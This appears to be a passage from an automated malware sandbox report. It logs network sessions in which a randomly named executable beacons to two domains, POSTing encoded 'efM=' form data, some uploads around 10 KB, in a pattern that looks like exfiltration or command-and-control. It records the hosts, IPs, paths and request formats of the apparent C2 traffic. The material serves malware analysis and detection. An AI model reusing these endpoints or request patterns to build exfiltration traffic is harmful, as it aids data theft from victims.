20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	55427	216.83.33.140	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:10.931991100 CEST	697	OUT	POST /mpex/ HTTP/1.1 Host: www.a9jcpf.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.a9jcpf.top Referer: http://www.a9jcpf.top/mpex/ Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 55 5a 58 50 55 62 61 38 4c 41 76 6f 66 37 30 77 42 6f 56 4e 75 55 4b 73 79 4b 64 30 6d 58 45 33 47 42 66 36 58 76 72 44 6b 61 53 31 73 64 51 78 63 33 58 55 35 2b 6f 38 6a 61 41 72 38 58 39 35 75 6e 61 64 31 57 52 76 57 72 37 62 43 65 37 74 42 74 50 32 4e 7a 31 38 65 57 39 54 61 61 53 32 57 68 76 69 6b 63 53 4a 4f 58 7a 56 62 74 73 59 32 36 63 2f 66 4b 6e 41 5a 58 49 47 57 2f 45 73 6b 41 65 6d 6e 55 35 74 30 43 6e 57 75 4b 2b 4f 4f 4d 42 30 41 62 64 6d 74 67 7a 76 50 31 69 72 37 74 6e 56 59 42 44 38 30 37 6e 76 64 4b 6f 43 71 4f 6b 31 6f 53 73 61 42 4a 51 33 31 57 49 32 71 51 3d 3d Data Ascii: efM=UZXPUba8LAvof70wBoVNuUKsyKd0mXE3GBf6XvrDkaS1sdQxc3XU5+o8jaAr8X95unad1WRvWr7bCe7tBtP2Nz18eW9TaaS2WhvikcSJOXzVbtsY26c/fKnAZXIGW/EskAemnU5t0CnWuK+OOMB0AbdmtgzvP1ir7tnVYBD807nvdKoCqOk1oSsaBJQ31WI2qQ==
Aug 5, 2024 15:33:11.866707087 CEST	208	IN	HTTP/1.1 530 Date: Mon, 05 Aug 2024 13:33:11 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Server: cdn Data Raw: 32 63 0d 0a e2 9e a1 ef b8 8f e5 bd 93 e5 89 8d e8 ae bf e9 97 ae e7 9a 84 e8 8a 82 e7 82 b9 ef bc 9a 32 31 36 2e 38 33 2e 33 33 2e 31 34 30 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 2c216.83.33.140 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	55428	216.83.33.140	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:13.474692106 CEST	717	OUT	POST /mpex/ HTTP/1.1 Host: www.a9jcpf.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.a9jcpf.top Referer: http://www.a9jcpf.top/mpex/ Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 55 5a 58 50 55 62 61 38 4c 41 76 6f 66 61 45 77 45 50 35 4e 35 45 4b 74 75 36 64 30 7a 48 46 77 47 42 6a 36 58 72 36 62 6b 73 69 31 73 34 73 78 64 79 37 55 34 2b 6f 38 70 36 41 75 34 58 39 69 75 6e 48 69 31 58 39 76 57 76 54 62 43 63 7a 74 43 61 54 31 50 6a 31 79 48 47 39 52 58 36 53 32 57 68 76 69 6b 63 58 53 4f 58 72 56 61 63 63 59 33 65 49 2b 42 61 6e 50 52 33 49 47 53 2f 45 6f 6b 41 65 59 6e 56 31 48 30 42 54 57 75 4c 4f 4f 50 64 42 31 4a 62 64 6b 6a 41 7a 77 66 33 7a 2b 37 65 69 53 51 51 48 51 71 34 58 39 63 4d 35 59 37 2f 46 69 36 53 49 70 63 4f 5a 44 34 56 31 2f 78 56 55 59 62 4a 68 37 61 6a 32 4d 32 46 74 71 61 4e 47 6a 33 4d 77 3d Data Ascii: efM=UZXPUba8LAvofaEwEP5N5EKtu6d0zHFwGBj6Xr6bksi1s4sxdy7U4+o8p6Au4X9iunHi1X9vWvTbCcztCaT1Pj1yHG9RX6S2WhvikcXSOXrVaccY3eI+BanPR3IGS/EokAeYnV1H0BTWuLOOPdB1JbdkjAzwf3z+7eiSQQHQq4X9cM5Y7/Fi6SIpcOZD4V1/xVUYbJh7aj2M2FtqaNGj3Mw=
Aug 5, 2024 15:33:14.393913031 CEST	208	IN	HTTP/1.1 530 Date: Mon, 05 Aug 2024 13:33:14 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Server: cdn Data Raw: 32 63 0d 0a e2 9e a1 ef b8 8f e5 bd 93 e5 89 8d e8 ae bf e9 97 ae e7 9a 84 e8 8a 82 e7 82 b9 ef bc 9a 32 31 36 2e 38 33 2e 33 33 2e 31 34 30 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 2c216.83.33.140 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	55429	216.83.33.140	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:16.004317999 CEST	10799	OUT	POST /mpex/ HTTP/1.1 Host: www.a9jcpf.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.a9jcpf.top Referer: http://www.a9jcpf.top/mpex/ Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 55 5a 58 50 55 62 61 38 4c 41 76 6f 66 61 45 77 45 50 35 4e 35 45 4b 74 75 36 64 30 7a 48 46 77 47 42 6a 36 58 72 36 62 6b 73 71 31 73 75 34 78 66 52 44 55 37 2b 6f 38 71 36 41 76 34 58 38 34 75 6e 66 6d 31 57 41 61 57 70 58 62 43 35 2f 74 44 75 6e 31 56 7a 31 79 49 6d 39 55 61 61 53 5a 57 68 2f 75 6b 66 2f 53 4f 58 72 56 61 65 45 59 2b 71 63 2b 44 61 6e 41 5a 58 49 4b 57 2f 45 41 6b 42 32 75 6e 56 68 39 30 53 4c 57 70 72 65 4f 4d 76 70 31 47 62 64 69 7a 51 79 6c 66 33 2b 75 37 64 47 76 51 51 7a 2b 71 2f 6e 39 65 4e 59 47 2f 39 45 2f 6e 41 67 57 44 4e 73 67 2f 33 4a 59 71 57 4e 39 4b 71 73 67 4f 33 36 46 38 31 38 50 4e 75 66 69 6c 71 59 2f 41 61 67 6a 78 49 33 30 74 31 78 6c 53 79 6e 57 58 54 76 79 45 35 7a 75 35 55 78 47 6f 4f 52 64 71 53 75 76 76 7a 70 61 55 4f 39 5a 6d 31 59 56 30 57 57 64 59 59 4c 78 4b 42 6b 43 6c 73 43 4f 73 55 75 2f 2b 44 4b 74 58 30 52 47 42 55 51 55 43 38 58 69 52 32 42 50 48 67 4f 71 6d 4c 4c 77 6d 4b 33 5a 49 63 50 4c 49 67 5a 75 62 38 54 39 58 38 74 39 50 58 [TRUNCATED] Data Ascii: efM=UZXPUba8LAvofaEwEP5N5EKtu6d0zHFwGBj6Xr6bksq1su4xfRDU7+o8q6Av4X84unfm1WAaWpXbC5/tDun1Vz1yIm9UaaSZWh/ukf/SOXrVaeEY+qc+DanAZXIKW/EAkB2unVh90SLWpreOMvp1GbdizQylf3+u7dGvQQz+q/n9eNYG/9E/nAgWDNsg/3JYqWN9KqsgO36F818PNufilqY/AagjxI30t1xlSynWXTvyE5zu5UxGoORdqSuvvzpaUO9Zm1YV0WWdYYLxKBkClsCOsUu/+DKtX0RGBUQUC8XiR2BPHgOqmLLwmK3ZIcPLIgZub8T9X8t9PXJrR2S3/7Jdt0Jc/G58kqusbbkS3pesXk5JwRSi4/mTpHF226MXLwTTRufKqbOPA+ACMtpJZI4T54WOPiT+oNAKaT9FFCmXJlUR7SkmMRMCuC8wmAxe7WdY1F2HX//0gBwGSNNLjJGiHHlyHuIYfAcA+PpXX3ELLVSqTd26G8oZhnSwzR6QVyONqhw7/rvMYfVxMSMZh59yy4DLWytoRIF/lZeZ+OiH3quG2KCkBbHZ209PItyZh1CIqDdHHvzEiuQ8/xuBGsWh5Zp/n55tO/ykT6wgKMVATlR4ycFHpyHgwHfIweuW3d8WekNQE3TXcz/WhpKtd5ghIo00ecHTo+3xDYsdCc5NRUixYZz1GbOYRF1oYWLd0lrgTQYunafk4MCnwCNVIo33+MBV7WyEergnNzHP/e8kgoaE36ItanH568Wu9BOv0JJDf8IDtZ0b8fiHlaOsnkx5HMjEWggPNlbgaslb0opOpKb88q6ma0Uv2pybEMpgxVhtvAKUB2YBcTq4dqyPFZQwgWTw0k4ZjUginnzaTT5EIFpy90jPcvfl6RDgrSri3pYa8shQfo5h4U19UgsmuTqLjJ6GVyN/xL/UFEdELw4JczFdNgzc1NhCoxIPkqCNR2zkwCnLu8Gl61iyCbwzQjH/92GFV74XQRuWC5GwEPQ+cERl [TRUNCATED]
Aug 5, 2024 15:33:16.886800051 CEST	208	IN	HTTP/1.1 530 Date: Mon, 05 Aug 2024 13:33:16 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Server: cdn Data Raw: 32 63 0d 0a e2 9e a1 ef b8 8f e5 bd 93 e5 89 8d e8 ae bf e9 97 ae e7 9a 84 e8 8a 82 e7 82 b9 ef bc 9a 32 31 36 2e 38 33 2e 33 33 2e 31 34 30 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 2c216.83.33.140 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	55430	216.83.33.140	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:18.534984112 CEST	435	OUT	GET /mpex/?GTP=uhqpjxIPh&efM=Zb/vXsPYNAfjWKU5b+Nt30TyxsxOl11zNhfSVr6onri574wTGgCf5cxGoeAVsjx/n1bbhUl7cIXTAf7wH/T3DCw+G1Vpb7KEKzC8l577KkftecMR999sDYI= HTTP/1.1 Host: www.a9jcpf.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 5, 2024 15:33:19.469336033 CEST	208	IN	HTTP/1.1 530 Date: Mon, 05 Aug 2024 13:33:19 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close Server: cdn Data Raw: 32 63 0d 0a e2 9e a1 ef b8 8f e5 bd 93 e5 89 8d e8 ae bf e9 97 ae e7 9a 84 e8 8a 82 e7 82 b9 ef bc 9a 32 31 36 2e 38 33 2e 33 33 2e 31 34 30 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 2c216.83.33.140 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	55431	35.241.42.217	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:25.219007015 CEST	703	OUT	POST /zjwj/ HTTP/1.1 Host: www.tqfabxah.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.tqfabxah.com Referer: http://www.tqfabxah.com/zjwj/ Content-Length: 200 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 71 46 6a 69 61 54 4a 50 45 58 63 55 66 67 66 31 30 47 6c 7a 41 6c 6a 74 4e 4f 66 2f 75 67 6a 75 64 34 6b 58 74 44 4d 78 6c 53 61 50 78 47 48 49 58 38 61 55 68 64 31 74 35 6a 6d 4b 56 65 4f 38 35 62 76 58 77 49 59 74 6e 44 4f 65 48 61 6b 71 4e 72 33 39 47 51 66 76 47 53 38 51 37 69 74 51 6f 46 32 4a 6a 48 47 6b 48 68 36 67 68 71 69 33 39 69 37 49 63 52 42 49 4b 79 6d 63 6c 4c 2b 4e 4e 6c 6c 48 74 70 38 41 36 7a 6a 4f 6e 50 5a 74 4d 63 6f 55 58 4a 50 6f 43 34 43 39 4a 44 34 62 77 58 78 5a 4a 6e 77 34 4e 59 68 57 76 6a 2b 4d 55 33 4e 35 30 57 47 4a 58 65 68 57 44 38 6e 50 4c 67 3d 3d Data Ascii: efM=qFjiaTJPEXcUfgf10GlzAljtNOf/ugjud4kXtDMxlSaPxGHIX8aUhd1t5jmKVeO85bvXwIYtnDOeHakqNr39GQfvGS8Q7itQoF2JjHGkHh6ghqi39i7IcRBIKymclL+NNllHtp8A6zjOnPZtMcoUXJPoC4C9JD4bwXxZJnw4NYhWvj+MU3N50WGJXehWD8nPLg==
Aug 5, 2024 15:33:25.855170012 CEST	735	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Mon, 05 Aug 2024 13:33:25 GMT Content-Type: text/html Content-Length: 559 Via: 1.1 google Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	55432	35.241.42.217	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:27.752913952 CEST	723	OUT	POST /zjwj/ HTTP/1.1 Host: www.tqfabxah.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.tqfabxah.com Referer: http://www.tqfabxah.com/zjwj/ Content-Length: 220 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 71 46 6a 69 61 54 4a 50 45 58 63 55 65 41 76 31 78 6c 4e 7a 42 46 6a 75 43 75 66 2f 6b 41 6a 79 64 34 59 58 74 43 35 30 77 77 2b 50 79 6a 72 49 59 59 75 55 69 64 31 74 68 54 6d 44 61 2b 4f 4e 35 62 7a 31 77 4a 6b 74 6e 41 79 65 48 59 73 71 4e 59 76 38 48 41 66 70 41 53 39 57 6a 43 74 51 6f 46 32 4a 6a 47 6a 44 48 68 69 67 68 61 79 33 39 48 62 48 56 78 42 4c 4e 79 6d 63 79 62 2b 4a 4e 6c 6b 69 74 74 63 71 36 78 72 4f 6e 4f 4a 74 4c 4e 70 43 5a 4a 50 79 63 34 43 72 59 43 59 65 30 46 56 55 49 6b 6f 37 49 4a 6c 39 6e 46 76 57 46 47 73 75 6d 57 69 36 4b 5a 6f 69 4f 2f 61 47 51 67 4d 43 46 4d 64 6b 33 61 45 65 53 79 31 78 35 4d 56 75 7a 56 73 3d Data Ascii: efM=qFjiaTJPEXcUeAv1xlNzBFjuCuf/kAjyd4YXtC50ww+PyjrIYYuUid1thTmDa+ON5bz1wJktnAyeHYsqNYv8HAfpAS9WjCtQoF2JjGjDHhighay39HbHVxBLNymcyb+JNlkittcq6xrOnOJtLNpCZJPyc4CrYCYe0FVUIko7IJl9nFvWFGsumWi6KZoiO/aGQgMCFMdk3aEeSy1x5MVuzVs=
Aug 5, 2024 15:33:28.385828972 CEST	176	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Mon, 05 Aug 2024 13:33:28 GMT Content-Type: text/html Content-Length: 559 Via: 1.1 google Connection: close
Aug 5, 2024 15:33:28.389327049 CEST	559	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	55433	35.241.42.217	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:30.286026955 CEST	10805	OUT	POST /zjwj/ HTTP/1.1 Host: www.tqfabxah.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.tqfabxah.com Referer: http://www.tqfabxah.com/zjwj/ Content-Length: 10300 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 65 66 4d 3d 71 46 6a 69 61 54 4a 50 45 58 63 55 65 41 76 31 78 6c 4e 7a 42 46 6a 75 43 75 66 2f 6b 41 6a 79 64 34 59 58 74 43 35 30 77 77 32 50 78 52 6a 49 58 66 79 55 6a 64 31 74 2f 6a 6d 4f 61 2b 4f 55 35 62 37 78 77 4a 6f 39 6e 47 32 65 42 39 67 71 63 64 62 38 49 41 66 70 4e 79 39 47 37 69 74 46 6f 45 47 4e 6a 48 54 44 48 68 69 67 68 63 2b 33 36 53 37 48 5a 52 42 49 4b 79 6d 59 6c 4c 2b 78 4e 68 41 55 74 73 63 51 35 42 4c 4f 6e 76 35 74 4f 37 31 43 52 4a 50 73 49 59 44 6f 59 43 56 4f 30 46 49 6c 49 6e 31 65 49 4a 52 39 6a 7a 61 38 56 6d 63 43 35 30 4f 6c 64 4f 45 64 41 34 69 37 4c 7a 5a 2f 4e 66 56 6d 6b 35 45 42 64 78 34 6c 6f 39 4e 4c 6d 54 65 54 32 77 41 66 75 39 49 79 76 7a 35 79 76 78 36 6a 4a 43 72 53 61 35 76 4f 63 58 44 54 6c 57 50 77 57 67 72 70 5a 51 30 37 49 78 47 30 4e 54 5a 6e 34 5a 72 44 2b 74 64 41 56 6d 58 69 5a 31 6b 4a 63 56 43 67 4f 4e 77 44 57 35 63 6a 4e 44 53 59 57 4c 73 41 30 72 68 45 41 69 51 6e 75 35 58 33 2b 77 4f 4e 4f 72 38 58 2b 32 46 34 56 52 2b 58 49 2f 58 35 6b 67 [TRUNCATED] Data Ascii: efM=qFjiaTJPEXcUeAv1xlNzBFjuCuf/kAjyd4YXtC50ww2PxRjIXfyUjd1t/jmOa+OU5b7xwJo9nG2eB9gqcdb8IAfpNy9G7itFoEGNjHTDHhighc+36S7HZRBIKymYlL+xNhAUtscQ5BLOnv5tO71CRJPsIYDoYCVO0FIlIn1eIJR9jza8VmcC50OldOEdA4i7LzZ/NfVmk5EBdx4lo9NLmTeT2wAfu9Iyvz5yvx6jJCrSa5vOcXDTlWPwWgrpZQ07IxG0NTZn4ZrD+tdAVmXiZ1kJcVCgONwDW5cjNDSYWLsA0rhEAiQnu5X3+wONOr8X+2F4VR+XI/X5kgsACRzh6Uhkz1qejiUii5PlpDTaCFHvOKEnAJXDnDc8BAYWxWAWVx1GM3Qux53kwqV3HTwEAh83MtWJkfw/mzQ1KMut5EuZN2U0WEieRCWOEZ6YgY/NcLBqPaNJkaPMmZLAVNzmDfeKnO06V4uFGEimdBAp19ue1u9+eQpOcQzbtcVfryZ6jX6DZOj5XUOVN0nj9sHPVLcPPp11WMpbpuUzv0qtKtTOljnz7Qd47QX0nSzphz4KUxOU3ab7I5P8+vzmALYIXn8kcAZesuZxaN33qo06bdubsMN53tsX6UA9QOWCR6SOQXU3cE1gQksw9OnHjkpdcYzxi22Q+0yKK5Q/l1u7rEMJqpCFTpFSzBuDr3q/hZO80iB8HxoD+jV7mE/1Tl0rYput3LPVOpBizWvpL7WmIRsCc/dBK5PIkzexX7rKpBxoD05de61fTcxD8FypzOLfZ+f/TIUwOxSeE4IRyyUzUmkDCnYNYvEzN/5vmbfU5NuMn1ubP/9xyuIjF4A9uK6rDpRqHVMZ0j8Cg8oEVJlOcRBL6qEIG1782al2QGWOAhj18sBomgmR4Zzhq/fN6YEsvAMqgOhjGItZ5F/SOEjhY0ZQM+TmdO60naBj6CtziSds9lJVc6Gs9f4bjqKAT5a8MBgAtcce5F9n8XQLu7iVYGpe7h7P [TRUNCATED]
Aug 5, 2024 15:33:30.938205957 CEST	176	IN	HTTP/1.1 405 Method Not Allowed Server: nginx/1.20.2 Date: Mon, 05 Aug 2024 13:33:30 GMT Content-Type: text/html Content-Length: 559 Via: 1.1 google Connection: close
Aug 5, 2024 15:33:30.939831972 CEST	559	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	55434	35.241.42.217	80	2056	C:\Program Files (x86)\OdVShYEfvuoQpUSdhdNyXYJLKLphdQTMorXfWKklqjKeebYq\MHFAGZiftf.exe

Timestamp	Bytes transferred	Direction	Data
Aug 5, 2024 15:33:32.819037914 CEST	437	OUT	GET /zjwj/?efM=nHLCZn8vN2ArVDTtuX5SJ0P/P5D3rwrWV4l8hQoFqQuK0GTLFPexr5xj3EirNaSr0bv3za4OohaILLkKIoyZBj+QLQEglA9+lHyHnT+4OAarv/Cw0xbxNAM=&GTP=uhqpjxIPh HTTP/1.1 Host: www.tqfabxah.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 5, 2024 15:33:33.467585087 CEST	300	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Mon, 05 Aug 2024 13:33:33 GMT Content-Type: text/html Content-Length: 5161 Last-Modified: Mon, 15 Jan 2024 02:08:28 GMT Vary: Accept-Encoding ETag: "65a4939c-1429" Cache-Control: no-cache Accept-Ranges: bytes Via: 1.1 google Connection: close
Aug 5, 2024 15:33:33.481019974 CEST	1236	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 Data Ascii: <!doctype html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><script src="https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js" crossorigin="true
Aug 5, 2024 15:33:33.481041908 CEST	1236	IN	Data Raw: 77 20 49 6d 61 67 65 29 2e 73 72 63 3d 6e 7d 66 75 6e 63 74 69 6f 6e 20 72 65 70 6f 72 74 4c 6f 61 64 69 6e 67 28 6e 29 7b 6e 3d 6e 7c 7c 7b 7d 3b 76 61 72 20 6f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 6e 3d 28 77 69 6e 64 6f Data Ascii: w Image).src=n}function reportLoading(n){n=n\|\|{};var o=function(){for(var n=(window.location.search.substr(1)\|\|"").split("&"),o={},e=0;e<n.length;e++){var r=n[e].split("=");o[r[0]]=r[1]}return function(){return o}}();function e(){var n=window.
Aug 5, 2024 15:33:33.481056929 CEST	1236	IN	Data Raw: 74 72 3d 64 73 66 72 70 66 76 65 64 6e 63 70 73 73 6e 74 6e 77 62 69 70 72 65 69 6d 65 75 74 73 76 22 29 3b 28 65 28 29 7c 7c 72 28 29 29 26 26 22 61 6e 64 72 6f 69 64 22 3d 3d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 77 69 6e 64 6f Data Ascii: tr=dsfrpfvedncpssntnwbipreimeutsv");(e()\|\|r())&&"android"===function(){var n=window.navigator.userAgent.toLowerCase();return window.ucweb?"android":n.match(/ios/i)\|\|n.match(/ipad/i)\|\|n.match(/iphone/i)?"iphone":n.match(/android/i)\|\|n.match(/ap
Aug 5, 2024 15:33:33.481072903 CEST	1236	IN	Data Raw: 28 22 73 72 63 22 2c 22 2f 2f 69 6d 61 67 65 2e 75 63 2e 63 6e 2f 73 2f 75 61 65 2f 67 2f 30 31 2f 77 65 6c 66 61 72 65 61 67 65 6e 63 79 2f 76 63 6f 6e 73 6f 6c 65 2e 6d 69 6e 2d 33 2e 33 2e 30 2e 6a 73 22 29 2c 24 68 65 61 64 2e 69 6e 73 65 72 Data Ascii: ("src","//image.uc.cn/s/uae/g/01/welfareagency/vconsole.min-3.3.0.js"),$head.insertBefore($script1,$head.lastChild),$script1.onload=function(){var e=document.createElement("script");e.setAttribute("crossorigin","anonymous"),e.setAttribute("src
